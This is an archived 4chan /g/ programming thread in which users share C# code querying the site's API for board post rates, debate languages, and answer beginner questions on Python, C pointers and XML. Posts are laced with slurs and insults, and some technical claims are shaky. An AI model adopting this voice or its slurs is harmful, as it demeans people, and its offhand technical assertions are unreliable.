[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

/dpt/ Daily Programming Thread

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 324
Thread images: 37

File: GAeKPO8201Vmg_20160203085216.gif (373KB, 499x368px) Image search: [Google]
GAeKPO8201Vmg_20160203085216.gif
373KB, 499x368px
What are you working on, /g/?

Previous thread: >>59860724
>>
File: ocaml-logo-big.png (235KB, 6944x1905px) Image search: [Google]
ocaml-logo-big.png
235KB, 6944x1905px
>>59861075
First for OCaml.
>>
@59861122
>O
>>>/r/abbit
>>
File: anal beads.png (10KB, 695x143px) Image search: [Google]
anal beads.png
10KB, 695x143px
>>59861075
What did OP mean by this?
>>
File: 1489346401866.png (1MB, 2000x2000px) Image search: [Google]
1489346401866.png
1MB, 2000x2000px
>>59861053
Not suprised coming from one of the stupidest boards
>>
>>59861075
Im bored and currently on wangblows so i need idea for some useful utility program. I already wrote service thats stops damn update... Maybe service that runs shit defined in some file? Linuxy like?
>>
>>59861168
>>>/f/aggit
>>
>>59861188
A GUI that shows old files that haven't been accessed in a long time by size, so you can clean out shit you don't need.
>>
>>59861128
Please post the code as text.
>>59861151
You're right, I'm overthinking the problem. I was afraid it would go into the gigabytes after a month of running.
>>
Programming language poll continues
http://www.strawpoll.me/12732251
>>
::<59861192>
You've been called out as an alien and no longer have a voice. Stop using the internet.
>>
>>59861176
As fake as I assume this is I wouldn't place /g/ in the upper half of boards honestly.
>>
File: tmp_26203-148905609296091792845.gif (148KB, 340x340px) Image search: [Google]
tmp_26203-148905609296091792845.gif
148KB, 340x340px
>>59861075
>op pic
why not
>>
>>59861209
Fortran
>>
Could I start programming GUIs with QT if I only know C and a bit of C++.
>>
>>59861205
var boardId = "g";
var pageCount = Chan.GetBoard().Boards.First(x => x.BoardName == boardId).Pages;

var smallestPostNumber = Chan.GetThreadPage(boardId, pageCount).Threads.Last().Posts.First().PostNumber;
var largestPostNumber = Chan.GetThreadPage(boardId, 1).Threads
.Where(x => !x.Posts.First().IsStickied).First().Posts.Last().PostNumber;

WriteLine($"The oldest post on /{boardId}/ is {smallestPostNumber}.");
WriteLine($"The newest post on /{boardId}/ is {largestPostNumber}.");

// outputs:
// The oldest post on /g/ is 59857827.
// The newest post on / g / is 59861227.


I'll be implementing the catalog endpoint for this Chan library soon, which would make this even easier.
>>
>>59861209
Why do people insist on using this inferior service?
You even acknowledge it by explicitly having an 'other' category yet you don't use https://poal.me/ that allows for user added choices.

To be expected from a brainless C# fag though.
>>
>>59861202
But that could take lot of CPU or time or both(to run), also there could be loads of stuff in some windows directory that could just add noise so i should limit search to user directory only hmm.

Well i suppose it shouldnt matter if program takes an hour to complete at 1% cpu usage if I make it like some indexer service...
>>
>>59861240
You could.
It's uncomfortable either way because QT isn't C++ as a C++ programmer would use it.
>>
>>59861247
allowing user added choices usually ends with 'OP is a faggot' as winning option
>>
>>59861244
thanks senpai
>>
>>59861275
Excuses anon. Stop being a faggot.
And here it'd certainly not be op is a fag, get /b/ out of your mind. It's going to be 'anime' or something like that.
>>
>>59861176
>suprised
>stupidest
>Not Zoopriest Coming from One of The most stupidestest Boords
>>
>>59861176
>wallpaper general
>139

top kek
>>
What would you say are the most essentials skills that someone looking to get job in software development needs to learn?
I already have some basic of C# and OOP but I still feel that I'm lacking the knowledge to really be useful on a project if I were to get a job.
>>
>>59861364
social skill
>>
>>59861364
>but I still feel that I'm lacking the knowledge to really be useful on a project if I were to get a job.
You will feel that way until you get a job.
I've written my own game engine as a hobby at this point and I still feel this way. Realistically I know I could be of some use.
>>
File: titusgetthecross.jpg (15KB, 323x480px) Image search: [Google]
titusgetthecross.jpg
15KB, 323x480px
>>59861209
>Java #1
>>
To all Haskell programmers: If Haskell isn't a meme, what can you actually write in Haskell that a company would profit from? What would you do in a job as a Haskell programmer
Because all I always saw was "playing around"
>>
>>59861394
we have a winner.
>>
>>59861395
>until you get a job.
wrong
i have job as a programmer for about 3 years and i still feel that way
>>
>>59861176
>double-blind cross reference test over a 6 month period
>4chan
also
>If you hall from a board under the weighted average, please refrain from making posts about the above topics entirely.
go back to /b/ faghat
>>
>>59861424
>>59861395
what level would you want to reach before you start freelancing?
>>
Yes, hello, I have a push-button. When the button is pressed, an int happens to increase by 1. When int is odd, script #1 is being run. When int is even, script #2 is being run.
If I add script #3 however, it would look like this (Python 3):
i = 0
#button pressed
i += 1
if (i%3 == 0):
#script 1
elif (i%2 == 0 and not i%3 ==0):
#script 2
else:
#script 3

My problem with this is that it switches in the following manor: 1-2-3-2-1-3 1-2-3-2-1-3. My desired would be 1-2-3-1-2-3 1-2-3-1-2-3.
What is this problematic called? I've tried google and others but if I can't name the problem I'm having then I can't find the solution. I've asked in >>>/g/sqt/ as well.
>>
File: anal beads.png (55KB, 1167x341px) Image search: [Google]
anal beads.png
55KB, 1167x341px
>>59861292
>>59861205
Numbers look about right.

I could have formatted it better, I guess.
>>
>>59861441
level 15 at least
>>
>>59861441
No clue anon. I say you should just try things. It's a more healthy alternative to worrying.
>>
>>59861209
>no F#
;_;
the comfiest functional language
>>
>>59861461
>special snowflake
>>
>>59861448
>int nearly 1500/h
good lord, you should find out how fast /brit/ is.
>>
>>59861448
Interesting numbers...
Holy fuck /int/
>>
File: anal beads.png (118KB, 791x1169px) Image search: [Google]
anal beads.png
118KB, 791x1169px
>>59861504
>>59861511
Here it is with some formatting and sorting.

var boards = Chan.GetBoard().Boards;

var boardStats = boards.Select(x => x.BoardName).Select(boardId =>
{
var pageCount = boards.First(x => x.BoardName == boardId).Pages;

var oldestPost = Chan.GetThreadPage(boardId, pageCount).Threads.Last().Posts.First();
var newestPost = Chan.GetThreadPage(boardId, 1).Threads
.Where(x => !x.Posts.First().IsStickied).First().Posts.Last();

var appxPostCount = newestPost.PostNumber - oldestPost.PostNumber;
var timeDiff = newestPost.UnixTimestamp.UnixTimeStampToDateTime().Subtract(oldestPost.UnixTimestamp.UnixTimeStampToDateTime());
var postsPerHour = appxPostCount / timeDiff.TotalHours;

return new { BoardName = boardId, OldestPost = oldestPost, NewestPost = newestPost, PostCount = appxPostCount, PostsPerHour = postsPerHour };
})
.OrderByDescending(x => x.PostsPerHour)
.Select(x => $"/{x.BoardName}/ has approximately {x.PostCount} posts.".PadRight(60) + $"Post rate: ~{x.PostsPerHour.ToString("0.##").PadRight(7)} posts per hour.");

boardStats.ForEach(WriteLine);
>>
>>59861416
Haskell is a Turing complete, general purpose language.
>>
>>59861540
>/pol/ 7162 posts per hour

fucking shills
>>
>>59861540
>7200 BTFO of /b/ by over 2k
Thats really impressive, the election really brought in a lot of people
>>
>>59861244
I'm working on a 4chan frontend as well. I'm actually making a frontend for every website I like, some kind of custom client for the web.

For now it's just javascript that either scrapes websites or uses their API endpoints. Once the data is downloaded, the code fills the blank web page with it. This way, all websites look the same. Faggy web designer bloat isn't even downloaded and the information is presented to me uniformly and bullshit-free. I get a soft ad-blocker for free, too.

I'm not sure if I should turn this thing into a chrome/firefox extension. At first I wanted to make it one of those "chrome app" things... But Google killed that shit. Oh well. It seems to be working as a regular stand-alone page, and I can download it straight off of bitbucket repo if I want
>>
>>59861540
>/pol/ has more post/h than /b/

holy fuck
>>
>>59861568
nothing suprising, /b/ is complete shite since about ten years
>>
>>59861565
That's pretty much how AppChan X works, IIRC.
>>
>>59861448
Is your chan lib on nuget?
>>
>>59861540
Those numbers are fucking insane compared to CrippleChan. I guess they're nothing compared to plebbit though.
>>
File: Google Trends.png (63KB, 1211x781px) Image search: [Google]
Google Trends.png
63KB, 1211x781px
>>59861583
Didn't hinder its popularity in the past.
>>59861568
Yeah, not sure why but I think it may be the recent political events.
>>
@59861416
>a language can be a "meme"
>>>/r/abbit
>>
>>59861540
>calculating all these stats

I wonder how much load you're placing on the 4chan API endpoint.
>>
>>59861604
political and HWNDU misadventures
>>
>>59861568

Not sure how anyone can find this surprising.

That being said, I've spent a bit of time in /pol/. Not that I'd recommend it. That shit rots your brain.
>>
>>59861553
>Turing complete
Meaning it's utter garbage.
>>
>>59861597
The version I'm using is not, but it's shamelessly ripped off of FChan, which you can get here:
https://github.com/gabrielgio/FChan.Library
Install-Package FChan.Library 


As far as I can tell, the owner of FChan isn't doing anything more with it, and it's missing a few crucial components that I wanted out of the library, so I'm going to put mine up on GitHub when it's more fleshed out.
>>
>>59861540
>This man actually makes good use of new C# features
using static My.Nigger
>>
>>59861614
One call for a list of boards.

Four calls per board: two for the first/last page, two for the first/last threads on those pages.

71 boards in all, so 284 API calls.
>>
>>59861640
>doesnt support .netcore
goddamn it. If you host yours on github I'll contribute.
>>
>>59861610
Yes, go back to your safe space and stop wasting valuable space on the 4chan servers.
>>
>>59861672
using static
was available in C# 6, though.

>>59861689
Oh yeah, that's the kicker: mine is going to be .NET Core compatible, so there's that.

I'll post ITT when I'm comfortable sharing it and getting it on NuGet.
>>
>>59861587
Yeah I read a lot of the 4chan extensions source code.

It's just like that extension, but:

1. Instead of editing the 4chan web pages, it has its own blank webpage to fill with data.
2. I make a program that scrapes websites and returns data according to the frontend's schema. The frontend displays that data in a "boring" but efficient manner that's uniform across all websites.
3. It doesn't really look like 4chan at all. Imagine a file system tree like this: 4chan.org / g / 59861075. This opens a data view with all posts in this thread.
4. It's modular. It can serve as a frontend for any website.
>>
>>59861724
scrots, source anything?
>>
>>59861702
C# 6 is new when nearly everyone in your workplace refuses change. They still use .NET 3 5 for most things for gods sake.
I haven't looked much at C# 7 yet. Any good stuff? I've been getting a rabid kick out of VS17 and the new nuget / .csproj. And Visual Code is finally getting usable.

>>59861689
Also this.
>>
>>59861770
M$ has produce nothing ov value since 3.5
>>
>>59861770
>I haven't looked much at C# 7 yet. Any good stuff?
A few really nice things that I'm actually regularly using are:
>actual tuples
>out var
>ternaries that can throw exceptions
>pattern matching

The pattern matching is limited, but it fills a very nice gap in doing conditional logic with conditions based on types.

More information:
https://blogs.msdn.microsoft.com/dotnet/2016/08/24/whats-new-in-csharp-7-0/
>>
>>59861783
Thank you for your valued contribution to the topic.
>>
>>59861689
>If you host yours on github I'll contribute.
Same. I recognize that filename and the help that I got from the posts with it, I'll definitely chip in if I can.
>>
>>59861816
You're welcome.
>>
Anyone has done anything usable with .Net Core yet? I still find it a lot more troublesome than standard .Net unfortunetly
>>
>>59861447
You are obviously trying to count to 3, and here is how you do it:
0%3 = 0
1%3 = 1
2%3 = 2
3%3 = 0
4%3 = 1
...

Figure it out? Just take the remainder with 3, not 2.
>>
>>59861176
>/fit/
>131

k
>>
>>59861846
I use it to make simple webapps on asp.net core.
I made this, which you can use to browse /pol/ during the election
http://45.55.254.243/
>>
File: dotnet two point oh.png (98KB, 1581x853px) Image search: [Google]
dotnet two point oh.png
98KB, 1581x853px
>>59861846
.NET Core is still finicky in my opinion, but it does work.

I have a bunch of microservices hosted on an Ubuntu instance in Azure running on .NET Core that do various automations at my company.

I'm waiting for .NET Standard 2.0 to be finished before I try anything big again in .NET Core.
>>
>>59861812
That was a fucking great read, thanks.
I'm actually going to be using out vars a lot. A good chunk of my work has me doing content parsing for data and this should allow for some more powerful LINQ expressions.
Pattern matching is going to take me a good sit down before I properly learn to abuse it.

>>59861783
>Forgetting our Lord and Savior async Tasks
>>
>>59861923
>async Tasks
So shit.
>>
>>59861858
Oh, so;
if (i%3 == 0):
#script 1
elif (i%3 == 1):
#script 2
else:
#script 3

And if it were for example 5, then it would be i%5 == (0 through 4).
Got it, thanks.
>>
>>59861923
If you're doing things like that, try combining TryParse with a ternary throw:
var muhInputDoubled = int.TryParse(ReadLine(), out var muhInt) ? muhInt * 2 : throw new FormatException("Input should be a whole number!");
>>
>>59861935
I hadn't considered that persuasive argument before.
I'll go back to blocking threads and race conditions now thank you for the input.
>>
>>59861960
You really think that task protect you from race conditions or things like that? Really? I understand why you think it worth.
>>
>>59861890
neat

>>59861897
why would you have Ubuntu in Azure?
>>
>>59861952
I fucking creamed myself you sick bastard.
Throw that on a select when parsing a reference type and then sort and select by pattern matching.
>>
>>59861075
Learning how to use Vim.
>>
>>59861968
If you're using async Tasks, then yes.
>>
>>59861976
>why would you have Ubuntu in Azure?
Because Azure Service Fabric supports Ubuntu, and I don't have to manage hardware.

>>59861984
Yeah, if I'm parsing a delimited file, it's easy to do this for each property on an object assignment and handle the fact that some of the data is invalid on that line. ReadAllLines + Select + Split + Anonymous types.
>>
>>59862005
Idiot.
>>
>>59862025
>not le argument
>>
>>59862025
I like that argument. Do you know what the async await compiler syntax even does? Please educate me on why I'm wrong.
>>
File: 1438982991127.jpg (27KB, 447x444px) Image search: [Google]
1438982991127.jpg
27KB, 447x444px
>>59861176
>/g/ is listed as 125 along the top
>/g/ is listed as 91 along the bottom
>>
>>59862019
how much do you pay for that instance if i may ask? im wondering if its better deal than scaleway
>>
>>59862032
>>59862042
So M$ solve a problem that no researchers in the world can solve. Only idiots would believe such a thing. I don't have to argue with idiots. I am not paid for that.
>>
This is a dumb question, but let's say your destructor gets called (like through raii), is there anyway to "cancel" it?
Say the class is another process, the destructor gets called but doesn''t destroy anything. Is the process still active?
>>
>>59862082
This is bait, do not reply to this post
>>
>>59862096
Stop coding right now.
>>
>>59862082
Is this you admitting you finally don't know what you're talking about?
Lucky for you, I'm not a brash asshole like you so I'll cue you in for next time.
Async / Await is single threaded. It's just a syntax for a compiler state machine over the Task for things that shouldn't block, but don't need to be multithreaded like file loading, networking, or preserving UI.
Or you can do the responsible thing, make your data immutable, and run the task on a separate thread too.
>>59862117
I'm sorry. I genuinely worry for people.
>>
>>59861960
>he believes "async" is the only way to write concurrent, nonblocking code
laughing_girls.webp
>>
>>59862135
>Async / Await is single threaded. It's just a syntax for a compiler state machine over the Task for things that shouldn't block, but don't need to be multithreaded like file loading, networking, or preserving UI.
OK you want the proof that you're an idiot.
race condition and dead lock happen on single core too.
Case closed.
>>
>>59862142
What are alternatives to async/await/promises though? I don't like them either.
>>
>>59862142
>this goy still uses language compiler features instead of just writing his own nonblocking assembly file loading inline where it's needed.
>>
>add const to a pure virtual function because I wanna do it like all the cool kids do
>forget to add it to the overriding functions
>get surprised when "for some reason" my functions don't override and I get mile long error reports

On a related note, I was under the impression for a really long fucking time that if you inherit a class, the deriving one can access its private fields like they were its own.
>>
>>59862096
Fuck off OOP nigger.
>>
File: wankers go home.jpg (19KB, 555x286px) Image search: [Google]
wankers go home.jpg
19KB, 555x286px
What is the best GUI toolkit for C or C++ that supports both linux and android.
>>
>>59862178
your own
>>
>>59862178
Qt
>>
>>59862187
Guides on how to make one?
>>
>>59862199
:3
>>
I like certain tumblrs but all the web scrapers for them are pretty crap / for windows so I'm trying to make my own, next step is to try and retrieve data from each post to have better filenames etc
>>
>>59862199
I don't like how difficult it is to develop in QT outside of QT creator.
>>
>>59862168
That's protected.
>>
File: ENHANCE.png (111KB, 300x666px) Image search: [Google]
ENHANCE.png
111KB, 300x666px
>>
>>59862215
Does Tumblr not have RSS feeds?
>>
>>59862230
I did it. It's not that hard.
>>
Without regard to practicality, which programming language would you consider
a) the most pleasurable to write in;
b) the cutest?
>>
If you are bored and like doing project euler stuff you can help me:

I am doing some number theory adventures out of curiosity. I was writing a script in LISP that tells me all numbers who fullfil the requirement that their square number has the form n*(n+1)*(n+2)+1

The first 3 numbers who satisfy this are:

5 because 25 = 2*3*4 +1
11 because 121 = 4*5*6 + 1
419 because 175561 = 55*56*57+1

The function that tests if a number is square number is too fucking slow but I cant think of anything better.

I tried a lot of patterns between those numbers but did not manage to find a 4th and I cant brute force it because checking the first 10 000 numbers already took like 1 hour with my dogshit script. Can you find a 4th number?
>>
>>59862275
Ruby
Ruby
>>
Why isn't there a cstdlib function to check if all bytes in a memory sector are the same byte?
>>
>>59862275
http://www.strawpoll.me/12732251/r
>>
>>59862247
Oh geez, I should have thought of that! Back to the drawing board for a bit.
>>
>>59862295
Interesting, but not the question that was posed.
Thank you for replying though.
>>
>>59862293
Because I can't think of a single reason why something that specific belongs in the goddamn standard library.
>>
>>59862275
The choice is obvious
>>
I'm making a compiler, and I need a "module" construct, but my language already has the module keyword reserved. What should I do to get around this naming? I'd rather not change terminology because of silly implementation details...
>>
>>59862245
>not using streams
>>
>>59862245
System.out.println(Arrays.stream(numbers).sum());
>>
About to crush a BST quiz bois. Wish me luck
>>
>>59862367
>There are only two hard things in Computer Science: cache invalidation and naming things.
--Phil Karlton
>>
>>59862369
>>59862382
In haskell this is just
print $ sum [0..5]
>>
>>59862407
In Python this is just
print sum(numbers)
>>
File: 1470458836800.jpg (64KB, 720x960px) Image search: [Google]
1470458836800.jpg
64KB, 720x960px
Guy from the other day trying to get a 64-bit application to send API calls to a 32-bit one
Got it to work with an old wrapper I found for the 32-bit application and re-purposed a bit to make work

Got a more conceptual question, might be simple but I'm more used to other languages and never learned proper terminology for most stuff

I need to generate XML files to send to the 32-bit application, and I'm a bit stuck trying to think of a good way to define possible commands for my XML builder

Tried several things with structs, but never could get something fluid (There's a shitload of commands, but I'm only expecting to use 1-2 dozen of them) because of no structure inheritance and each of the "commands" have about 40 damn variables of varying type and plenty of optionals (Different variable sets are output depending on what is entered)

If there's something like a 'datum' that'd probably be perfect. Don't know if that's a real term, but something that basically never has a "New()" called on it, but exists as a sort of reference
>>
>>59862435
I bet this is like 3 characters in APL but I don't know APL

>>59862399
Fuck this is actually true for a variety of reasons
>>
>>59862436
Oh yeah, forgot to mention a very important part
I'm in VB.NET for this
>>
>>59862436
XML is just a series of nodes (tags) and leafs (text)
I don't know what it is exactly that your builder is doing

>>59862451
>I'm in VB.NET for this
Oh fuck it nevermind
>>
'Goto' is always evil, like in 'goto school' or 'goto work'
>>
>>59862485
how about goto bed with me?
>>
>>59862500
depends. are you a grill?
>>
File: img_151.png (249KB, 651x395px) Image search: [Google]
img_151.png
249KB, 651x395px
>>59862485
Goto actually saved me dozens of extra lines of code for a numerical scheme.
>>
>>59862507
so goto is OK with conditional statement?
>>
>>59862485
the idiot in charge of code reviews at my job keeps harping on me for using goto in my code
i keep asking why and he just brings up that out of context dirkshita reference about never using goto, even though he was talking about ASM weenies in the 1970s using goto liberally instead of loops.
>>
>>59862536
and why don't you tell him that?
>>
>>59862545
I stopped caring.
This is clearly their way of denying me positive performance reviews.
Even if avoid goto, he'll just shit on me for something else, i'd rather change jobs.
>>
>>59862485
goto hell
>>
>>59862469
My builder is really just to feed commands to a library object from "System.Xml.XmlWriter"
Using nodes/leafs would be great, I just and getting a blank on how to do it in-code without going full spaghetti
>>
Honest question: Is Ruby every really used for anything other than Rails / webdev, or has that one framework totally taken over the language?
>>
File: 1475265131019.png (46KB, 1071x431px) Image search: [Google]
1475265131019.png
46KB, 1071x431px
Daily reminder Java is /g/'s favorite language
http://www.strawpoll.me/12732251/r
>>
File: 1468899863437.jpg (90KB, 394x404px) Image search: [Google]
1468899863437.jpg
90KB, 394x404px
post your github
>>
>had a little issue pop up with my compiler environment being unable to link libraries to my main program a few months ago
>managed to fix it, but bookmarked a little guide on why it happens and what to do if it does
>issue pops up again (frustrating enough)
>find that the little bookmark i made has become part of a private blog that I can no longer access without payment + explicit permission from site owner

who the fuck does this shit
>>
>>59861565
was actually thinking about making such a uniform front-end myself.

got any screenshots?
>>
File: yu_yu1.png (457KB, 582x470px) Image search: [Google]
yu_yu1.png
457KB, 582x470px
>>59862630
Don't have one. I could post my ResearchGate if you want anon-chan
>>
>>59862630
>not using the superior bitbucket
>>
>>59862642
Can you give me address of that guide?
>>
>clang file.c -Weveryhing
>0 errors

who else knows this feel?
>>
File: rzaba.png (91KB, 255x253px) Image search: [Google]
rzaba.png
91KB, 255x253px
>>59862630
>mfw i have no self-confidence to make any of my projects public so i just use bitbucket private repos
>>
>>59862586
XML is actually really easy, here's a shitty XML serializer in Python in 20 LOC
import sys
tags = []
output = sys.stdout

def start_tag(name):
tags.append(name)
output.write("<" + name)

def add_attr(key, val):
output.write(" key=\"" + val + "\"")

def begin_body():
output.write(">")

def end_tag():
name = tags.pop()
output.write("</" + name + ">")

# <font color="red">hello, <b>world</b></font>
start_tag("font")
add_attr("color", "red")
begin_body()
output.write("hello, ")
start_tag("b")
begin_body()
output.write("world")
end_tag()
end_tag()


This is the imperative style. You write a function like "serialize(cmd)" that calls these and it outputs some XML.
The alternative functional way is just have tag/text data structures for XML objects that are recursively nested, and a function that converts commands into XML objects. I have no idea how your "commands" are represented so I can't help you at all in that
>>
File: frog-fs8.png (96KB, 1400x1400px) Image search: [Google]
frog-fs8.png
96KB, 1400x1400px
>>59862692
>>
>>59862629
It's just the slient pajeets who prey on /g/ users for their insight.
>>
>>59862692
loser frogposter
>>
>>59862692
I literally can't fathom how you give a shit. Who's looking at your repositories anyways?
>>
>>59862696
>output.write(" key=\"" + val + "\"")
Wouldn't that create
<font key="red">hello, <b>world</b></font>
?
>>
>>59862746
Yes, I made a mistake
>>
>>59862642
What language and environment are you using where your toolchain periodically breaks?
Are you not saving anything?
>>
>>59862722
well if nobody's looking he can as well keep them private, no?
>>
>>59862692
But how will you get better if theres no one to tell you whats shit?
>>
anybody know what happened to progrider?
>>
>>59862789
>progrider
?
>>
>>59862798
a site someone made when the text boards disappeared

hosted /prog/ and /lounge/ and other stuff i think
>>
>>59862804
/prog/ on krautchan is still up
>>
>>59862812
oh, didn't know there was one there. i dont speak german though
>>
>wants to install Latex on Gimp so that I could make more memes
>textify.com doesn't fucking work
>>
>>59862812
>>59862819
also, looks like it's not a text board, so it's not the same
>>
So in my Java parser, i want to see if a number is out of bounds or not (i check that during semantic analysis).

I'm writing it in C, and then i parse Java code normally.

the thing is if: if i found for example the number: 155555555555555555 and i want to see if the number
fits in the "int" data type, I'm doing:

#define JAVA_INT_MAX 2147483648
// number here is a string (token read)
long value = atoi(number);
if (value >= JAVA_INT_MAX || value <= -JAVA_INT_MAX) {
puts("Number out of bounds!");
}


but what if the number doesn't fit in long (e.g. a number with 50 digits)?

is there a smarter way of doing this?
>>
>>59861075
I can't remember how, but isn't there a way to read the comments in classes in a library without having to open up each class separately? I vaguely remember it having something to do with a multi-line comment. Is it some combination of command prompt inputs?
>>
When doing pointer arithmetic, why and/or how does the pointer know what its original value was?

e.g.
int* ptr[10];
int i = 0;
for(; i < 10; ++i) {
*ptr = i;
*ptr++;
}

If I refer to ptr later, it knows where the start is. How?
>>
>>59862245
array.sum.writeln;
>>
>>59862245
>Making an interfaced iterator call on a fucking array
Jesus christ
>>
>>59862872
Write atoi yourself, and cap when a certain number of digits have been parsed.
Also, define INT_MIN because it's not necessarily -INT_MAX

>>59862882
Think of memory as a sea of "buckets" that each contain values. A pointer refers to one of the buckets by it's number (which is somewhat arbitrary).
e.g.
// bucket:     [ 0 ] [ 0 ] [ 0 ] [ 0 ] [ 0 ] ... 
// pointer: 100 101 102 103 104 ...

int* ptr; // let's say it is initialized to the first bucket, so ptr = 100


When we perform operations on a pointer, it just affects whichever bucket the pointer referred to. Remember that pointers are just numbers, so its finding the bucket based on the number value of the pointer.

*ptr = 3;
// bucket: [ 3 ] [ 0 ] [ 0 ] [ 0 ] [ 0 ] ...
// pointer: 100 101 102 103 104 ...


When we perform "pointer arithmetic", we're just manipulating the pointer number.
ptr = ptr + 2; // ptr = 100 + 2 = 102 now
*ptr = 4;
// bucket: [ 3 ] [ 0 ] [ 4 ] [ 0 ] [ 0 ] ...
// pointer: 100 101 102 103 104 ...


This is essentially how RAM works, but the details are more subtle and slightly more complicated. But this analogy works very well.
>>
>>59862958
Well right, I understand how moving the pointer forward works.
What confuses me is how the pointer knows later to refer to 100.

Although I think I've just confused myself needlessly, since int* ptr[10] is really int** so *ptr is dereferencing the first pointer that the ptr[] actually points to, and that value never changes
>>
>>59862629
I have a suspicion that euro time /dpt/ users use C, assembly and functional languages. West coast US is C# mostly and eastcoast US is java mostly.
Just judging from what tends to get talked about at different hours.
>>
>>59862958
like this?

#define JAVA_INT_MAX 2147483647
#define JAVA_INT_MIN -2147483648

// number here is a string (token read)
long value = atoi(number);
if (value >= JAVA_INT_MAX || value <= JAVA_INT_MIN) {
puts("Number out of bounds!");
}
>>
>>59862979
>and eastcoast US is java mostly.
please dont lump me in with pajeets
>>
>>59862996
java did nothing wrong
>>
>>59863002
java did everything wrong.
Gosling was a mistake.
>>
>>59863015
bitch please
>>
>>59863002
still popularity of java is quite suprising, given that there are languages simply better in terms of performance, code clarity and implementing speed
>>
>>59862996
pajeets are more into C++ tho
>>
>>59862976
I think what may be confusing you is that array syntax is a little bit murky.
Specifically, even though C treats arrays like pointers,
int my_arr[3];
// my_arr is int*

That DOESN'T mean that `my_arr` is just a variable with a pointer type. In particular, you can't reassign this variable.
my_arr = some_other_pointer; // ERROR

In fact, your example code doesn't even compile...

Arrays always refer to the pointer at the beginning of the array, and the compiler doesn't let you move that pointer around. If you want to, you could do something like
int main(void)
{
int arr[10];
int* ptr = arr;
int i = 0;
for(; i < 10; ++i) {
*ptr = i;
ptr++;
}
}


Also, it's important to know that due to operator precedence,
*ptr++  <=>  *(ptr++)
>>
>>59863036
Java is actually portable though. Unlike the promises C or C++ makes. I think that's what's got Java in the game.
>>
>>59863072
>Java is actually portable
It is, but there are more comfortable languages for JVM, and there is .Net Core (or Mono).
>>
>>59863072
What also got Java into the game is that C/C++ standard libraries are shit and batteries-excluded so it's incredibly difficult to make anything useful without bringing in libraries that probably suck. Especially for GUIs (ESPECIALLY at the time Java was made)
>>
File: 1480187072128.png (521B, 163x209px) Image search: [Google]
1480187072128.png
521B, 163x209px
when do you know you're ready to work for money as a programmer?
>>
>>59861209
Needs Tcl/Tk.
>>
>>59863104
When someone pays you for programming. Look for jobs and see who's stupid enough to hire you.
>>
>>59863045
nah, they love java because they love making android apps
>>
>>59862992
that code's terribly broken.
first of all, atoi gives back an integer, not a long, therefore a standard complying compiler can give you a 'value' very different from 'number' in the given range. use atol instead.
secondly, you do not do any checking. if the number is out of range, or 'number' is not an actual number, then ato* returns 0.
>>
using map_type = std::unordered_map<std::uint_fast16_t, std::unordered_map<std::uint_fast16_t, std::unordered_map<std::uint_fast16_t, pci_device*>>>;
map_type* device_map;

isn't it beautiful?
>>
>>59861416
https://code.facebook.com slash posts slash 745068642270222 slash fighting-spam-with-haskell/
>>
File: 1491520212306.jpg (61KB, 540x511px) Image search: [Google]
1491520212306.jpg
61KB, 540x511px
>company wants to do a phone interview
>tell them what times I'm free
>it's been over a day with no reply

Did I fuck up?
>>
>>59863389
>frogposter

yeah you fucked up
>>
Quick /dpt/
The C Programming Lenguage
or
Practical C Programming
>>
>>59863389
they just skipped you and called up the next applicant who was free to talk right now

they have 2000 applications for every job vacancy, they have every reason to be picky.
>>
>>59863408
>The C Programming Lenguage
no such book exists.
>>
>>59863287
Why are you using
uint_fast*_t
s?
>>
>>59863444
because i can?
>>
>>59863457
But they're verbose and mostly just aliases.
>>
>>59863444
to show that it's a 16-bit number, even though I know uint_fast16_t is 32-bit on my platform.
I guess speed doesn't really matter here though.
>>
>>59863408
C, A Modern Approach
>>
>>59863481
that sounds like a short book
>>
>>59863490
It is not, it's 800 pages long. However, it covers the basics of C in the first 200 pages. Its a textbook so it also has questions and programming projects, and even a Q&A section at the end of each chapter. It is quite a good book, and after going though the entire thing, I highly recommend it.
>>
>>59863532
you missed the joke
>>
>>59862056
/g/ and /jp/ are switched. it's honestly a toss up
>>
File: laugh.jpg (22KB, 195x195px) Image search: [Google]
laugh.jpg
22KB, 195x195px
>>59863557
Shit man, that's a good joke.
It's sad nobody uses C these days, its such a beautiful language.
>>
>>59863469

>mostly just aliases
The thing about these types is that they are different aliases on different platforms. A uint_fast16_t is the fastest integer size available on a given instruction set and operating system that is at least 16 bits.

Types like short, int, long, and long long are meaningless. You cannot guarantee their size to be constant across every platform, only their minimum sizes, which are 16, 16, 32, and 64 bits respectively. Yes, int is 16 bits, particularly on the Arduino, and long can be 32 bits, even on 64-bit Windows (but it's 64 bits on 64-bit Linux and Mac OS X!). Alias types that wrap around these are ideal, because they convey a bit more information about what we want.

intX_t : Integer exactly X bits wide. Not guaranteed to exist. It's not possible to have an int32_t on Tru64 Unix, since short, int, long, and long long are all 64 bits, while char is 8 bits. Also, you can't have an int32_t on a platform that uses 9 bit bytes.

int_leastX_t : Smallest integer type able to hold at least X bits. In the above example, it might be 64 bits or 36 bits holding a 32-bit integer, due to inability to use this data type.

int_fastX_t : Fastest integer type able to hold at least X bits. Some architectures don't do math on smaller integer sizes as easily. ARM really likes 32-bit numbers. It may be beneficial to store a 16 bit number in a 32 bit variable, but you can't tell that ahead of time if the program is supposed to be mutli platform.
>>
File: 1475558003510.jpg (37KB, 422x500px) Image search: [Google]
1475558003510.jpg
37KB, 422x500px
>>59862675
>>59862688
>>59862692
>>59862822
>>59862918
>>59863389
Who said this? Why are you quoting it?
>>
File: 1469333604570[1].png (177KB, 600x600px) Image search: [Google]
1469333604570[1].png
177KB, 600x600px
>>59864181
>>>/jp/
>>
>>59864212
good god she makes me so horny, pointing where to put it and everything
>>
File: Capture.png (26KB, 969x676px) Image search: [Google]
Capture.png
26KB, 969x676px
How should profit be calculated from this? The numbers are so low, they could easily double thus making ez money, that's a bit unbalanced.
>>
is go fun?
>>
>>59864290
more like no fun
>>
>>59862288
999700015

Using Scheme:
(define (f n)
(+ (* n (+ n 1) (+ n 2)) 1))

(define (square? x)
